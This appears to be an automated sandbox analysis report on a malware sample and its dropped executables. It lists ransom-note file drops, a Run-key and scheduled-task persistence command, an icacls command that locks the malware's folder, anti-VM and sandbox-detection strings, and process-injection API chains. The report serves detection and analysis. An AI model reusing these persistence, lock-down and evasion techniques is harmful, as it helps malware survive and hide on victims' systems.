Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 1.2.Z4CYGTBlj7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 5.2.Z4CYGTBlj7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 7.2.Z4CYGTBlj7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Unpacked PE file: 9.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 13.2.Z4CYGTBlj7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Unpacked PE file: 15.2.build3.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 19.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 23.2.Z4CYGTBlj7.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 30.2.mstsca.exe.400000.0.unpack .text:ER;.data:W;.kic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 1.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Unpacked PE file: 5.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 7.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Unpacked PE file: 9.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 13.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Unpacked PE file: 15.2.build3.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 19.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Unpacked PE file: 23.2.Z4CYGTBlj7.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 26.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 28.2.mstsca.exe.400000.0.unpack
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Unpacked PE file: 30.2.mstsca.exe.400000.0.unpack

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_00412220 GetCommandLineW,CommandLineToArgvW,PathFindFileNameW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,K32EnumProcesses,OpenProcess,K32EnumProcessModules,K32GetModuleBaseNameW,CloseHandle,

1_2_00412220

Source: sqln[1].dll.9.dr	Static PE information: section name: .00cfg
Source: mstsca.exe.15.dr	Static PE information: section name: .kic

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_004052A5 push ecx; ret	0_2_004052B8
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_0449B0AF push ecx; retf	0_2_0449B0B2
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DF8F05 push ecx; ret	0_2_05DF8F18
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00428565 push ecx; ret	1_2_00428578
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_0445B0AF push ecx; retf	4_2_0445B0B2
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05E18F05 push ecx; ret	4_2_05E18F18
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D050 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D008 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D028 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D090 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D0A8 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D318 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C4E0 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D550 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00428565 push ecx; ret	5_2_00428578
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050D698 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C960 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C928 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C988 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050C9A8 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CB78 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CD60 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CDF0 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CE58 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CF28 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CFC0 push eax; retn 004Dh	5_2_0050D6B5
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0050CF90 push eax; retn 004Dh	5_2_0050D6B5

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

System file written: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html

Jump to behavior

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\$WinREAgent\_README.txt	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	File created: C:\$WinREAgent\Scratch\_README.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File created: C:\_README.txt
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	File created: C:\Users\user\_README.txt

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe

Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_00404F6E EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00404F6E

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 6656, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: build2.exe, 00000009.00000002.2284519794.0000000000400000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: AAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_0449971C rdtsc

0_2_0449971C

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 5_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

5_2_00481920

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		5_2_0040E670

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 929
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Window / User API: threadDelayed 9070

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-45022

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe TID: 3032	Thread sleep time: -700000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4852	Thread sleep count: 929 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4852	Thread sleep time: -209025s >= -30000s
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4852	Thread sleep count: 9070 > 30
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe TID: 4852	Thread sleep time: -2040750s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	5_2_0040F730
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	5_2_00410160
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	5_2_0040FB98

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: build2.exe, 00000009.00000002.2285261138.0000000000738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.0000000000621000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW91k
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.0000000000606000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}xu
Source: Z4CYGTBlj7.exe, 00000005.00000003.2110077348.00000000096E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: Z4CYGTBlj7.exe, 00000017.00000002.2449153648.0000000000815000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000017.00000003.2447602737.0000000000815000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: Z4CYGTBlj7.exe, 00000005.00000003.2110077348.00000000096E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.0000000000621000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000001.00000002.2022968559.00000000005F6000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567109403.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2567427369.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2565330379.0000000000885000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000003.2058183341.0000000000763000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4453697653.0000000000763000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.0000000000794000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Z4CYGTBlj7.exe, 00000001.00000002.2022968559.0000000000606000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: build2.exe, 00000009.00000002.2285261138.0000000000738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Z4CYGTBlj7.exe, 0000000D.00000002.2188603291.0000000000558000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(w^%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

API call chain: ExitProcess graph end node

graph_1-45024

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_0449971C rdtsc

0_2_0449971C

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_0040908D IsDebuggerPresent,

0_2_0040908D

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

5_2_00481920

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

1_2_00412220

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_044980A3 push dword ptr fs:[00000030h]	0_2_044980A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_05DD0042 push dword ptr fs:[00000030h]	0_2_05DD0042
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_044580A3 push dword ptr fs:[00000030h]	4_2_044580A3
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 4_2_05DF0042 push dword ptr fs:[00000030h]	4_2_05DF0042

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_00408558 GetProcessHeap,

0_2_00408558

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 0_2_00409018 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409018
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_004329EC
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Code function: 5_2_004329BB SetUnhandledExceptionFilter,	5_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

Code function: 0_2_05DD0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_05DD0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Memory written: C:\Users\user\Desktop\Z4CYGTBlj7.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe	Memory written: C:\Users\user\Desktop\Z4CYGTBlj7.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Memory written: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe	Memory written: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe	Memory written: C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Memory written: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe	Memory written: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Memory written: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\Z4CYGTBlj7.exe

